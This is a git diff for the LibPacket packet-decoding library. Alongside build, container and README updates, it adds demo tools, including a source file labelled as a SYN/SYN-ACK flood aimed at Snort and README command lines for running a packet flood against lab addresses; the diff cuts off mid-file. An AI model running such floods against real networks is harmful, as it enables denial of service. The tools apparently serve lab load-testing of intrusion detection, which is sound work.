diff --git a/CMakeLists.txt b/CMakeLists.txt index b154d04..1f41559 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,5 +1,5 @@ -cmake_minimum_required(VERSION 3.0) -project(libpacket C) +cmake_minimum_required(VERSION 3.20) +project(libpacket C CXX) add_subdirectory(src) # Install library headers diff --git a/Containerfile b/Containerfile new file mode 100644 index 0000000..9096adf --- /dev/null +++ b/Containerfile @@ -0,0 +1,23 @@ +# Using www.github.com/wtfbbqhax/krakatoa +FROM amd64/krakatoa AS libpacket_dev_env + +USER root +RUN apk update + +VOLUME /volume/libpacket +WORKDIR /volume/libpacket + +RUN apk add \ + libdaq-dev@local \ + libdaq-pcap-module@local \ + libdaq-dump-module@local + +RUN apk add \ + build-base \ + cmake \ + ninja \ + gtest-dev + +RUN echo alias vi=nvim > /root/.profile + +RUN apk add neovim tmux ctags diff --git a/Makefile b/Makefile index b34cdf1..7eb529f 100644 --- a/Makefile +++ b/Makefile @@ -1,22 +1,56 @@ -.PHONY: build clean install test uninstall +.DEFAULT_GOAL := build +# Makefile rules to build the libpacket source code +.PHONY: build build: cmake -B build -G Ninja . \ -D CMAKE_BUILD_TYPE:STRING=Debug \ -D CMAKE_EXPORT_COMPILE_COMMANDS:BOOL=TRUE cmake --build build -clean: - rm -rf build/ - +.PHONY: install install: build cmake --install build +.PHONY: clean +clean: + rm -rf build/ + +.PHONY: test test: install make -C tests/ +.PHONY: uninstall uninstall: rm -f /usr/local/include/packet.h rm -rf /usr/local/include/packet/ rm -f /usr/local/lib/libpacket.so.* rm -f /usr/local/lib/libpacket.so + +# Makefile rules to build the libpacket development environment. +# +# If you have a working Docker environment, you can use and contribute to this +# code base. +IMAGE_NAME=wtfbbqhax/libpacket +CONTAINER_NAME=wtfbbqhax-libpacket-0 + +.PHONY: container +container: + docker build . -f Containerfile -t $(IMAGE_NAME) + +.PHONY: start +start: + docker run \ + --name $(CONTAINER_NAME) \ + --rm -td \ + -v "$(PWD)":/volume/libpacket \ + $(IMAGE_NAME) + +.PHONY: kill +kill: + docker kill $(CONTAINER_NAME) + +.PHONY: attach +attach: + docker exec -ti $(CONTAINER_NAME) sh + diff --git a/README.md b/README.md index 1c8a3fc..93e4c97 100644 --- a/README.md +++ b/README.md @@ -1,161 +1,220 @@ - _ _ _ _ _ - | (_) |__ _ __ __ _ ___| | _____| |_ - | | | '_ \| '_ \ / _` |/ __| |/ / _ \ __| - | | | |_) | |_) | (_| | (__| < __/ |_ - |_|_|_.__/| .__/ \__,_|\___|_|\_\___|\__| - |_| +# LibPacket -Release: 0.2.0 -Bug Report: github.com/wtfbbqhax/LibPacket/issues +LibPacket is a portable TCP/IP packet decoding and parsing library designed to +provide a clean API for creating packet sniffers. It supports a wide range of +protocol headers and is compatible with multiple Unix-like operating systems. -TCP/IP packet decoder/parser that provides a clean API to aide in the -creation of packet sniffers. +## Features + - Comprehensive Protocol Support: Decode various protocol headers, including: + Ethernet, VLAN/802.1Q, IPv4, IPv6, MPLS, PPP, PPPOE, TCP, UDP, SCTP, ICMP, + and ICMPv6. Experimental support is also available for IPX and SPX. -Platforms ---------- + - Cross-Platform Compatibility: Tested on Linux and MacOS. + - Clean and Intuitive API: Designed to facilitate the development of packet + sniffers with ease. -Expected to work on the following OSs: - - Linux - - Mac OSX - - FreeBSD - - OpenBSD +> [!NOTE] +> FreeBSD and OpenBSD are no longer tested for compatibility, please submit +> pull requests. -* If it doesn't work on the listed platforms, or you would like it to - work on a different platform; please submit an issue. +# Getting Started +Prerequisites + * CMake + * Docker (optional for contributors) + * A compatible C compiler -Protocol Support ----------------- +# How to -LibPacket supports decoding the following protocol headers: - - Ethernet - - VLAN / 802.1Q - - IPv4 - - IPv6 - - MPLS - - PPP - - PPPOE - - TCP - - UDP - - SCTP - - ICMP - - ICMPv6 - -Experimental support is provided for the following protocol headers: - - IPX - - SPX +1. Clone the repository +```sh +git clone https://github.com/wtfbbqhax/LibPacket.git libpacket +cd libpacket +``` -Build and Install ------------------ +2. Build and install ```sh -cmake -B build -G Ninja . -cmake --build build -sudo cmake --install build +# Build the source code +make build + +# Install libpacket.so and headers to /usr/local +sudo make install ``` -Getting Started ---------------- +3. Build and start the development container. (optional) + +> [!NOTE] Requires Docker +``` +# Build the development container +make container -Refer to the header files: - - include/packet/packet.h - - include/packet/ipaddr.h - - include/packet/protocol.h - - include/packet/options.h - - include/packet/stats.h +# Start the dev container +make start -The primary interface is documented below: +# Attach to the dev container +make attach -## Packet type +# Stop the dev container +make stop +``` -| Packet* packet_create( ); -| void packet_destroy(Packet *); +## Usage -Allocates and destroy a packet instance respectively. +To get started with LibPacket, include the relevant headers in your project: + +``` +#include +#include +#include +#include +#include +``` + +The primary interface allows you to create and decode packets: + +``` +Packet* packet = packet_create(); +int result = packet_decode(packet, raw_data, raw_data_size); +if (result == 0) { + // Successfully decoded the packet + // Access packet details here +} +packet_destroy(packet); +``` + +For detailed API documentation, please refer to the header files located in the +`include/packet/` directory. + +## Contributing + +Contributions are welcome! If you encounter any issues or have suggestions for +improvements, please open an issue or submit a pull request. + +## License +This project is licensed under the MIT License. -| int packet_decode(Packet *packet, const unsigned char *raw_data, unsigned raw_data_size); +## Credits -Decode's "raw_data" and writes results into "packet". +Victor Roemer (wtfbbqhax) -## Protocol Layers -| Protocol* packet_proto_first(Packet *packet, unsigned *); -| Protocol* packet_proto_next(Packet *packet, unsigned *); -| unsigned packet_proto_count(Packet *packet); -| -| PROTOCOL packet_proto_proto(Protocol *proto); -| int packet_proto_size(Protocol *proto); -| const uint8_t* packet_proto_data(Protocol *proto); -| const char* packet_proto_name(Protocol *proto); +--- +## API Documentation -## IPv4 and IPv6 Protocols +> [!IMPORTANT] +> I've begun reviving this project in FY2024, major API changes are planned through FY2026. -| int packet_version(Packet *packet) -| -| struct ipaddr packet_srcaddr(Packet *packet) -| struct ipaddr packet_dstaddr(Packet *packet) -| -| uint8_t packet_protocol(Packet *packet) -| uint32_t packet_id(Packet *packet) -| uint8_t packet_ttl(Packet *packet) -| uint8_t packet_tos(Packet *packet) -| -| bool packet_is_fragment(Packet *packet) -| bool packet_frag_mf(Packet *packet) -| bool packet_frag_df(Packet *packet) -| uint16_t packet_frag_offset(Packet *packet) +### Packet type +```c +Packet* packet_create( ); +void packet_destroy(Packet *); +``` + +Allocates and destroy a packet instance respectively. + +```c +int packet_decode(Packet *packet, const unsigned char *raw_data, unsigned raw_data_size); +``` -## TCP, UDP and SCTP Protocols +Decode's "raw\_data" and writes results into "packet". -| uint16_t packet_srcport(Packet *packet) -| uint16_t packet_dstport(Packet *packet) +### Protocol Layers +```c +Protocol* packet_proto_first(Packet *packet, unsigned *); +Protocol* packet_proto_next(Packet *packet, unsigned *); +unsigned packet_proto_count(Packet *packet); -## TCP Protocol +PROTOCOL packet_proto_proto(Protocol *proto); +int packet_proto_size(Protocol *proto); +const uint8_t* packet_proto_data(Protocol *proto); +const char* packet_proto_name(Protocol *proto); +``` -| uint32_t packet_seq(Packet *packet) // Sequence # -| uint32_t packet_ack(Packet *packet) // Acknowledgement # -| -| uint16_t packet_mss(Packet *packet) -| uint16_t packet_win(Packet *packet) -| uint16_t packet_winscale(Packet *packet) -| -| int packet_tcpflags(Packet *packet) -| bool packet_tcp_fin(Packet *packet) -| bool packet_tcp_syn(Packet *packet) -| bool packet_tcp_rst(Packet *packet) -| bool packet_tcp_push(Packet *packet) -| bool packet_tcp_ack(Packet *packet) -| bool packet_tcp_urg(Packet *packet) +### IPv4 and IPv6 Protocols +```c +int packet_version(Packet *packet) -# Payload Pseudo-Protocol +struct ipaddr packet_srcaddr(Packet *packet) +struct ipaddr packet_dstaddr(Packet *packet) -Paylaod is a pointer to the start of the first un-supported protocol encountered -durring decoding phase; normally the "Application Protocol" (e.g. HTTP). +uint8_t packet_protocol(Packet *packet) +uint32_t packet_id(Packet *packet) +uint8_t packet_ttl(Packet *packet) +uint8_t packet_tos(Packet *packet) -| void packet_set_payload(Packet *packet, void *payload, uint32_t paysize); -| bool packet_has_alt_payload(Packet *packet); +bool packet_is_fragment(Packet *packet) +bool packet_frag_mf(Packet *packet) +bool packet_frag_df(Packet *packet) +uint16_t packet_frag_offset(Packet *packet) +``` -Set the "alternate payload" pointer to "payload". -Used to associate defragmented data to a packet (see "extras/defragment.c"). +### TCP, UDP and SCTP Protocols +The following are applicable to all transport protocols: -| uint32_t packet_raw_paysize(Packet *packet); -| const uint8_t* packet_raw_payload(Packet *packet); +```c +uint16_t packet_srcport(Packet *packet) +uint16_t packet_dstport(Packet *packet) +``` + +### TCP Protocol + +The following methods return TCP specific decoded data. + +```c +uint32_t packet_seq(Packet *packet) // Sequence # +uint32_t packet_ack(Packet *packet) // Acknowledgement # +uint16_t packet_mss(Packet *packet) +uint16_t packet_win(Packet *packet) +uint16_t packet_winscale(Packet *packet) +int packet_tcpflags(Packet *packet) +bool packet_tcp_fin(Packet *packet) +bool packet_tcp_syn(Packet *packet) +bool packet_tcp_rst(Packet *packet) +bool packet_tcp_push(Packet *packet) +bool packet_tcp_ack(Packet *packet) +bool packet_tcp_urg(Packet *packet) +``` -The "raw" payload is returned always. +### Payload Pseudo-Protocol +Payload is a pointer to the first octet, of the first unsupported protocol +encountered durring decoding phase. In many cases this will be application +data (e.g. the HTTP payload). -| uint32_t packet_paysize(Packet *packet); -| const uint8_t* packet_payload(Packet *packet); +```c +void packet_set_payload(Packet *packet, void *payload, uint32_t paysize) +bool packet_has_alt_payload(Packet *packet) +``` + +Alternate payload pointer can be set by the user. This is currently only used +by the defragmentation engine which is found in `extras/defragment.c`. Defrag +support is builtin by default. + + +```c +uint32_t packet_raw_paysize(Packet *packet); +uint8_t const* packet_raw_payload(Packet *packet); +``` + +The raw payload refers to original wire bytes, never the alternate payload. + + +```c +uint32_t packet_paysize(Packet *packet); +uint8_t const* packet_payload(Packet *packet); +``` -Returns the "alt" payload if set; the "raw" payload otherwise. +If `has_alt_payload`, the returned payload will point to Alternate payload +data, otherwise it will point to the original decode data. diff --git a/bin/.gitignore b/bin/.gitignore new file mode 100644 index 0000000..567609b --- /dev/null +++ b/bin/.gitignore @@ -0,0 +1 @@ +build/ diff --git a/bin/CMakeLists.txt b/bin/CMakeLists.txt new file mode 100644 index 0000000..31f1c97 --- /dev/null +++ b/bin/CMakeLists.txt @@ -0,0 +1,116 @@ +cmake_minimum_required(VERSION 3.20) +project(pig C CXX) + +set(CMAKE_C_STANDARD 11) +set(CMAKE_CXX_STANDARD 17) + +# BPF Filter piglet +add_executable( + bpf_filter +) + +target_sources( + bpf_filter + PRIVATE + bpf_filter.cc + daq_print.cc + daq_print.h +) + +target_link_libraries( + bpf_filter + PRIVATE + daq + pcap + packet +) + +# Network echo, re-injects all packets received +# responds on all ports +add_executable( + net_echo +) + +target_sources( + net_echo + PRIVATE + net_echo.cc + daq_print.cc + daq_print.h +) + +target_link_libraries( + net_echo + PRIVATE + daq + pcap + packet +) + +# DNS Hog +# Sample DNS analyzer +add_executable( + dnshog +) + +target_sources( + dnshog + PRIVATE + dns_hog.cc + daq_print.cc + daq_print.h +) + +target_link_libraries( + dnshog + PRIVATE + daq + pcap + packet +) + +# Network flood generator +# Static packet format is hardcoded in code +add_executable( + flood +) + +target_sources( + flood + PRIVATE + flood.cc + daq_print.cc + daq_print.h + csum.c +) + +target_link_libraries( + flood + PRIVATE + daq + pcap + packet +) + +# UDP All Stars - Network flood generator +# Static packet format is hardcoded in code +add_executable( + allstars +) + +target_sources( + allstars + PRIVATE + allstars.cc + daq_print.cc + daq_print.h + csum.c +) + +target_link_libraries( + allstars + PRIVATE + daq + pcap + packet +) diff --git a/bin/Makefile b/bin/Makefile new file mode 100644 index 0000000..ec8ad68 --- /dev/null +++ b/bin/Makefile @@ -0,0 +1,23 @@ +.DEFAULT_GOAL := build + +# Makefile rules to build the libpacket source code +.PHONY: build +build: + cmake -B build -G Ninja . \ + -D CMAKE_BUILD_TYPE:STRING=Release \ + -D CMAKE_EXPORT_COMPILE_COMMANDS:BOOL=TRUE + cmake --build build + +.PHONY: install +install: build + cmake --install build + +.PHONY: clean +clean: + rm -rf build/ + +.PHONY: test +test: install + make -C tests/ + + diff --git a/bin/README.md b/bin/README.md new file mode 100644 index 0000000..81f6484 --- /dev/null +++ b/bin/README.md @@ -0,0 +1,91 @@ +# Bins + +Demos, and samples featuring libdaq as wire intercept. + +1. net\_echo + + * Impelements `inject_relative` to echo all received packets. + + +2. flood + + Floods the network with new flows. + + The new flows will reset after the `-l N` count is reached, then, starts + over. + + ``` + build/flood \ + -e 15 \ + -i eth0 \ + -D 02:42:4b:b5:46:d5 \ + --src-ip 172.17.0.2 \ + --dst-ip 192.168.2.2 \ + -l 3000000 &> /dev/null + ``` + + /volume/libpacket/bin # sudo ./build/flood \ + -e 2 -i eno1 -D 6c:c3:b2:69:7a:f8 --src-ip 192.168.30.4 --dst-ip 192.168.20.2 -l 10 + + + # Vanilla MX, Vlan 50 + bin # ./build/flood -e 2 -i eno1 -D ac:17:c8:c5:26:a3 --src-ip 192.168.50.5 --dst-ip 192.168.51.3 -l 1 + + The packet generation is not as fast as desired + + Test 1 + + CONFIG: use_tx_ring = true + attack_i % 1024 + ``` + vppctl monitor inteface lan + + rx: 0pps 0bps tx: 0pps 0bps + rx: 0pps 0bps tx: 0pps 0bps + rx: 0pps 0bps tx: 0pps 0bps + rx: 2.32Kpps 1.67Mbps tx: 2.32Kpps 1.11Mbps + rx: 4.79Kpps 3.45Mbps tx: 5.07Kpps 2.44Mbps + rx: 4.14Kpps 2.98Mbps tx: 4.15Kpps 1.99Mbps + rx: 4.57Kpps 3.29Mbps tx: 1.54Kpps 739.19Kbps + rx: 4.64Kpps 3.34Mbps tx: 1pps 959bps + rx: 4.09Kpps 2.95Mbps tx: 1.81Kpps 867.84Kbps + rx: 4.77Kpps 3.44Mbps tx: 4.56Kpps 2.19Mbps + rx: 4.44Kpps 3.19Mbps tx: 4.68Kpps 2.25Mbps + rx: 4.28Kpps 3.08Mbps tx: 1.63Kpps 782.39Kbps + rx: 4.74Kpps 3.41Mbps tx: 0pps 479bps + rx: 4.29Kpps 3.09Mbps tx: 2.02Kpps 967.67Kbps + rx: 4.46Kpps 3.21Mbps tx: 4.60Kpps 2.21Mbps + rx: 4.75Kpps 3.42Mbps tx: 4.43Kpps 2.13Mbps + rx: 4.09Kpps 2.95Mbps tx: 1.90Kpps 912.48Kbps + rx: 3.58Kpps 2.58Mbps tx: 0pps 0bps + rx: 0pps 0bps tx: 11pps 5.76Kbps + rx: 0pps 0bps tx: 0pps 479bps + ``` + + + Test 2 + + CONFIG use_tx_ring false + attack_i % 1024 + + rx: 0pps 0bps tx: 0pps 0bps + rx: 0pps 0bps tx: 0pps 0bps + rx: 3.07Kpps 2.21Mbps tx: 0pps 0bps + rx: 4.56Kpps 3.28Mbps tx: 0pps 0bps + rx: 4.65Kpps 3.35Mbps tx: 0pps 0bps + rx: 4.09Kpps 2.95Mbps tx: 0pps 0bps + rx: 4.66Kpps 3.36Mbps tx: 0pps 0bps + rx: 4.55Kpps 3.28Mbps tx: 0pps 0bps + rx: 4.13Kpps 2.98Mbps tx: 0pps 0bps + rx: 4.72Kpps 3.40Mbps tx: 0pps 0bps + rx: 4.45Kpps 3.21Mbps tx: 0pps 0bps + rx: 4.23Kpps 3.05Mbps tx: 0pps 0bps + rx: 4.74Kpps 3.41Mbps tx: 0pps 0bps + rx: 4.34Kpps 3.12Mbps tx: 0pps 0bps + rx: 4.30Kpps 3.09Mbps tx: 0pps 0bps + rx: 4.74Kpps 3.41Mbps tx: 0pps 0bps + rx: 2.73Kpps 1.97Mbps tx: 0pps 0bps + rx: 0pps 0bps tx: 0pps 0bps + rx: 0pps 0bps tx: 0pps 0bps + +3. dnshog diff --git a/bin/allstars.cc b/bin/allstars.cc new file mode 100644 index 0000000..a204a21 --- /dev/null +++ b/bin/allstars.cc @@ -0,0 +1,839 @@ +/* + * Copyright (c) Victor Roemer, 2013. All rights reserved. + * Feb 24 2013 + * Syn/Syn-Ack Flood That Targets Snort + * + */ + +// DAQ Global - vjr +#include +#ifndef _GNU_SOURCE +# define _GNU_SOURCE +#endif +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + + +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern "C" int ip_checksum ( void *, size_t ); + +/*************************************************************************** + * Packet Data Type * + ***************************************************************************/ + +#define MY_IP_VERS 4 +#define MY_IP_HLEN 5 +#define MY_IP_TTL 64 + +#define START_PORT 1024 + +#define PKTBUFSIZ 1472 +#define FIXEDSIZE \ + (sizeof(struct ether_header)+sizeof(struct ip)*1+sizeof(struct tcphdr)) + +struct PacketTemplate { + struct ether_header eth; + struct ip ip; + //struct ip ip2; + struct tcphdr tcp; + unsigned char payload[(PKTBUFSIZ - FIXEDSIZE)]; +} __attribute__((__packed__)); + +#define UDP_FIXEDSIZE \ + (sizeof(struct ether_header)+sizeof(struct ip)*1+sizeof(struct udphdr)) + +struct UDPPacketTemplate { + struct ether_header eth; + struct ip ip; + struct udphdr udp; + unsigned char payload[(PKTBUFSIZ - UDP_FIXEDSIZE)]; +} __attribute__((__packed__)); + + + + +/*************************************************************************** + * Runtime Options * + ***************************************************************************/ + +static unsigned opt__egress_id; +static const char *opt__ifr_name; +static const char *opt__src_ipaddr; +static const char *opt__dst_ipaddr; +static const char *opt__dst_hwaddr; +static const char *opt__src_hwaddr; +static unsigned opt__loop_count; + +static const char * const shortopts = "he:i:s:d:S:D:l:"; +static struct option longopts[] = +{ + { "help", no_argument, NULL, 'h' }, + { "dev", required_argument, NULL, 'e' }, + { "intf", required_argument, NULL, 'i' }, + { "src-ip", required_argument, NULL, 's' }, + { "dst-ip", required_argument, NULL, 'd' }, + { "dst-mac", required_argument, NULL, 'D' }, + { "src-mac", required_argument, NULL, 'S' }, + { "loop", required_argument, NULL, 'l' }, + { NULL, 0, NULL, 0 } +}; + +static void display_usage ( void ) +{ + fprintf(stdout, + "Usage: syn_ack_flood --intf -D --src-ip --dst-ip \n\n"); +} + +static void display_help ( void ) +{ + display_usage(); + fprintf(stdout, + " Options:\n" + "\t-e , --dev Device index to send packets to\n" + "\t-i , --intf Device to send packets from\n" + "\t-D , --dst-mac HW address of your default gw\n" + "\t-s , --src-ip Starting source address\n" + "\t-d , --dst-ip Destination address (A box behind Snort)\n" + "\t-l , --loop Number of packets to send\n" + "\n" + " Misc Options:\n" + "\t-h, --help Display this help\n" + "\n" + ); +} + +static int do_args ( int argc, char *argv[] ) +{ + int argi, ch; + while ( (ch = getopt_long(argc, argv, shortopts, longopts, &argi)) != -1) + { + switch ( ch ) + { + case 'e': + opt__egress_id = atoi(optarg); + break; + + case 'i': + opt__ifr_name = optarg; + break; + + case 's': + opt__src_ipaddr = optarg; + break; + + case 'd': + opt__dst_ipaddr = optarg; + break; + + case 'D': + opt__dst_hwaddr = optarg; + break; + + case 'S': + opt__src_hwaddr = optarg; + break; + + case 'l': + opt__loop_count = atoi(optarg); + break; + + case 'h': + display_help(); + exit(0); + break; + + default: + fprintf(stdout, + "Try `syn_ack_attack --help' for more information.\n\n"); + exit(1); + } + } + + /* Required arguments */ + if ( !opt__ifr_name || !opt__dst_hwaddr || !opt__dst_ipaddr || + !opt__src_ipaddr ) + { + fprintf(stderr, "Missing required arguements!\n"); + display_usage(); + exit(1); + } + + return 0; +} + +#define TXT_FG_RED(str) "\e[31m" str "\e[0m" +#define TXT_FG_GREEN(str) "\e[32m" str "\e[0m" +#define TXT_FG_ORANGE(str) "\e[33m" str "\e[0m" +#define TXT_FG_TEAL(str) "\e[34m" str "\e[0m" +#define TXT_FG_PURPLE(str) "\e[35m" str "\e[0m" + +#include "daq_print.h" + +/* DLT_RAW + * + * Mandatory, as the VPP daq only supports L3 delivery. + * + * This is used to set the "base protocol" used in libpcap and libpacket + * features. + */ +//#define DLT_RAW 12 + +/* DAQ_BATCH_SIZE + * + * The maximum number of packets (DAQ_Msg_h) that we will batch read/process at + * once. + */ +#define DAQ_BATCH_SIZE 16 + +/* SNAPLEN + * + * The SNAPLEN is the absolulte maximum size packet we support processing. + * NOTICE: This value should be defined by VPP as the vlib buffer size. + */ +#define SNAPLEN 2048 + +/* TIMEOUT + * + * The TIMEOUT amount of usec waiting for daq_receive to return. + * NOTICE: TIMEOUT support in redacted DAQ only works in interrupt mode. + */ +#define TIMEOUT 100 + +/* STATIC_MODULES + * + * Enables the support of builtin libdaq_static_redacted.la + * + * If you're in a pinch and need to build an all-in-one static binary, you can + * do it, but not using the Makefile. */ +#undef STATIC_MODULES + +#define UNUSED(name) name ## _unused __attribute__ ((unused)) +#define IS_SET(test, bits) (((test) & (bits)) == (bits)) + +#ifndef UNIX_PATH_MAX +#define UNIX_PATH_MAX (sizeof(((struct sockaddr_un*)NULL)->sun_path)) +#endif + +using socketpath_t = char[UNIX_PATH_MAX]; + +#define ERRBUF_SIZE 256 +using Errbuf = std::array; + +// DaqVariable +using DaqVariable = std::pair; +using DaqVars = std::vector; + +namespace DAQ +{ +#ifdef STATIC_MODULES + // from libdaq_static_redacted.a + extern "C" const DAQ_ModuleAPI_t redacted_daq_module_data; + + static DAQ_Module_h static_modules[] = + { + &redacted_daq_module_data, + nullptr + }; +#endif + + static char const *module_paths[] = + { + "/usr/local/lib/abcip", + "/usr/local/lib/daq", + nullptr + }; + + static bool s_modules_loaded = false; + void load_modules() + { + if (s_modules_loaded == false) + { + s_modules_loaded = true; +#ifdef STATIC_MODULES + daq_load_static_modules(static_modules); +#endif + daq_load_dynamic_modules(module_paths); + } + } + + void unload_modules() + { + if (s_modules_loaded == true) + { + daq_unload_modules(); + s_modules_loaded = false; + } + } +} + +// DaqConfig +// +// DaqConfig is a "copy safe" representation of a DAQ_Config_h opaque pointer. +// This would be trivial to implement if the DAQ_Config_t type was avaiable +// from the DAQ API. +// +// The DaqConfig attempts to make a mutable representation of a DAQ_Config_h. +// To accomplish this task, it implements a factory pattern, constructring C++ +// type DAQ_Config_p that provides a constructor/desctructor for DAQ_Config_h. +// +// NOTICE +// +// * Implementing this would be easier if the DAQ_Config_t was not hidden from +// the DAQ API. +// +class DaqConfig +{ +public: + DaqConfig(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : module(module), + input(input), + mode(mode), + vars(vars) + { } + + struct DAQ_Config_p + { + DAQ_Config_p(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : config(nullptr) + { + daq_config_new(&config); + daq_config_set_input(config, input.c_str()); + daq_config_set_snaplen(config, SNAPLEN); + daq_config_set_timeout(config, TIMEOUT); + + DAQ_Module_h mod = daq_find_module(module.c_str()); + if (mod == nullptr) { + daq_config_destroy(config); + config = nullptr; + } + + DAQ_ModuleConfig_h modconf = nullptr; + int result = daq_module_config_new(&modconf, mod); + if (result != DAQ_SUCCESS) { + daq_config_destroy(config); + config = nullptr; + } + + daq_module_config_set_mode(modconf, mode); + for (auto const & var : vars) { + daq_module_config_set_variable(modconf, var.first.c_str(), var.second.c_str()); + } + + result = daq_config_push_module_config(config, modconf); + if (result != DAQ_SUCCESS) { + // NOTICE This is the only time we are allowed to call this ourselves. + daq_module_config_destroy(modconf); + modconf = nullptr; + + daq_config_destroy(config); + config = nullptr; + } + } + + ~DAQ_Config_p() + { + // Calling daq_config_destroy will call + // `daq_module_config_destroy(modcfg)` on each module. + daq_config_destroy(config); + config = nullptr; + } + + DAQ_Config_h config; + }; + + DAQ_Config_p get_config() const + { + return DAQ_Config_p(module, input, mode, vars); + } + +private: + std::string module; + std::string input; + DAQ_Mode mode; + DaqVars vars; +}; + +#define FRAME_SIZE 256 + +struct DaqMsgFrame +{ + std::array msgs; + size_t recv_count; +}; + +struct DaqVerdictFrame +{ + std::array verdicts; +}; + +struct RecvResult +{ + DAQ_RecvStatus status; + DaqMsgFrame const& frame; +}; + +class DaqInstance +{ +public: + DaqInstance(DaqConfig const & config) + : instance(NULL), config(config) + {} + + ~DaqInstance() + { + if (instance) { + daq_instance_destroy(instance); + instance = nullptr; + } + + msgs.recv_count = 0; + } + + DaqInstance(DaqInstance const & other) + : config(other.config) + { } + + int instantiate() + { + return daq_instance_instantiate( + config.get_config().config, + &instance, + errbuf.data(), + errbuf.size()); + } + + int start() + { + return daq_instance_start(instance); + } + + int stop() + { + return daq_instance_stop(instance); + } + + RecvResult receive_msgs() + { + DAQ_RecvStatus rstat; + msgs.recv_count = daq_instance_msg_receive( + instance, + msgs.msgs.max_size(), + msgs.msgs.data(), + &rstat); + + return { rstat, msgs }; + } + + //void finalize_msgs(DAQ_Verdict const & verdict) + void finalize_msgs(DaqVerdictFrame const & verdicts) + { + for (unsigned i = 0; i < msgs.recv_count; i++) + { + DAQ_Msg_h msg = msgs.msgs[i]; + DAQ_Verdict verdict = verdicts.verdicts[i]; + daq_instance_msg_finalize(instance, msg, verdict); + } + + msgs.recv_count = 0; + } + + int inject(uint8_t const* data, uint32_t const len) + { + // XXX Possible to inject arbitrary packet/data back into the subsystem here. + // Good option for data-plane data updates (nbar, appid, etc) + DAQ_PktHdr_t ph = {}; + //ph.ingress_index = 1; + ph.ingress_index = opt__egress_id; + return daq_instance_inject( + instance, + DAQ_MSG_TYPE_PACKET, + &ph, + data, + len); + } + + DAQ_Stats_t get_stats() const + { + DAQ_Stats_t stats; + daq_instance_get_stats(instance, &stats); + return stats; + } + + void reset_stats() const + { + daq_instance_reset_stats(instance); + } + +private: + DAQ_Instance_h instance; + DaqConfig config; + DaqMsgFrame msgs; + Errbuf errbuf; +}; + +class DataPlaneWorker +{ + using threadname_t = char[256]; + +public: + DataPlaneWorker( + DaqConfig config, + unsigned id, + std::string filter, + DAQ_Verdict verdict, + DAQ_Verdict default_verdict, + UDPPacketTemplate& packet) + : config(config), + id(id), + match_verdict(verdict), + default_verdict(default_verdict), + packet(packet) + { + pcap_t *dead = pcap_open_dead(DLT_EN10MB, SNAPLEN); + if (dead == nullptr) + abort(); + + if (pcap_compile(dead, &fcode, filter.c_str(), 0, PCAP_NETMASK_UNKNOWN) == -1) + { + fprintf(stderr, "%s: BPF state machine compilation failed!", __func__); + abort(); + } + + pcap_close(dead); + dead = nullptr; + + int result = bpf_validate(fcode.bf_insns, fcode.bf_len); + if (result != 1) + { + fprintf(stderr, "%s: BPF is not valid!", __func__); + abort(); + } + + thread = std::thread(&DataPlaneWorker::eval, this); + pthread_t native = thread.native_handle(); + + snprintf(name, sizeof(name), "pkt_wk_%u", id); + pthread_setname_np(native, name); + + // Float these workers on core 4 + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(4+id, &cpuset); + pthread_setaffinity_np(native, sizeof(cpuset), &cpuset); + } + + ~DataPlaneWorker() + { + pcap_freecode(&fcode); + } + + void join() + { + thread.join(); + } + + void eval() + { + DaqInstance in(config); + + in.instantiate(); + in.start(); + + state = START; + + attack_i = 0; + src_port = START_PORT; + + fprintf(stdout, "[+] Attacking!\n"); + + do { + auto recv = in.receive_msgs(); + + if (recv.frame.recv_count > 0) { + //print_packets(recv.frame); + } + + if (attack(in) == 0) { + state = STOP; + } + + if (recv.status == DAQ_RSTAT_ERROR || + recv.status == DAQ_RSTAT_INVALID) { + state = STOP; + } + + in.finalize_msgs(verdicts); + usleep(0); + } while(state != STOP); + fprintf(stdout, "[+] Stop!\n"); + + in.stop(); + } + + void stop() + { + state = STOP; + } + + bool is_active() + { + return state == START; + } + +private: + int attack(DaqInstance& in) + { + while ( attack_i++ < opt__loop_count ) + { + if ( (attack_i % (65535-START_PORT)) == 0 ) + { + /* Increment the Source IP in the tunnel when the port space has + * been exhausted -- reset port to START_PORT */ + //uint32_t ip = ntohl(packet.ip2.ip_src.s_addr) + 1; + uint32_t ip = ntohl(packet.ip.ip_src.s_addr) + id + 1; + + /* Don't let last octet be 0 or 255 */ + ((ip & 0xFF) == 255) + ? ip+=2 + : ((ip % 0xFF) == 0) + ? ip+=1 + : 0; + + //packet.ip2.ip_src.s_addr = htonl(ip); + packet.ip.ip_src.s_addr = htonl(ip); + src_port = START_PORT; + } + else + { + /* Each packet has a unique source port. */ + src_port++; + } + + uint16_t ip_len = ntohs(packet.ip.ip_len); + size_t pktlen = ip_len + sizeof(packet.eth); + //packet.tcp.th_sport = htons(src_port); + //packet.tcp.th_dport = htons(80); + packet.udp.uh_dport = htons(80); + //packet.udp.uh_sport = htons(src_port); + ip_checksum(&packet.ip, ip_len); + + printf("[" TXT_FG_PURPLE("inject") "] "); + + print_packet(id, nullptr, reinterpret_cast(&packet), pktlen); + in.inject(reinterpret_cast(&packet), pktlen); + + // Free some time to check the receive rings. + if ((attack_i % 1024) == 0) { + return 1; + } + } + + // Complete + return 0; + } + + bool filter_packet(UNUSED(DAQ_PktHdr_t const* hdr), + uint8_t const* data, + uint32_t const size, + bpf_program const& fcode) + { + return bpf_filter(fcode.bf_insns, data, size, size) == SNAPLEN; + } + + void print_packets(DaqMsgFrame const& frame) + { + for (unsigned i = 0; i < frame.recv_count; i++) + { + auto const & msg = frame.msgs[i]; + if (msg->type == DAQ_MSG_TYPE_PACKET) + { + DAQ_PktHdr_t const * hdr = daq_msg_get_pkthdr(msg); + uint8_t const * data = daq_msg_get_data(msg); + uint32_t const size = daq_msg_get_data_len(msg); + + verdicts.verdicts[i] = match_verdict; + printf("[" TXT_FG_PURPLE("match") "] "); + print_packet(id, hdr, data, hdr->pktlen); + } + } + } + + DaqConfig config; + unsigned id; + + enum { INVAL, STOP, START } state; + std::thread thread; + threadname_t name; + bpf_program fcode; + DaqVerdictFrame verdicts; + + DAQ_Verdict match_verdict; + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; + 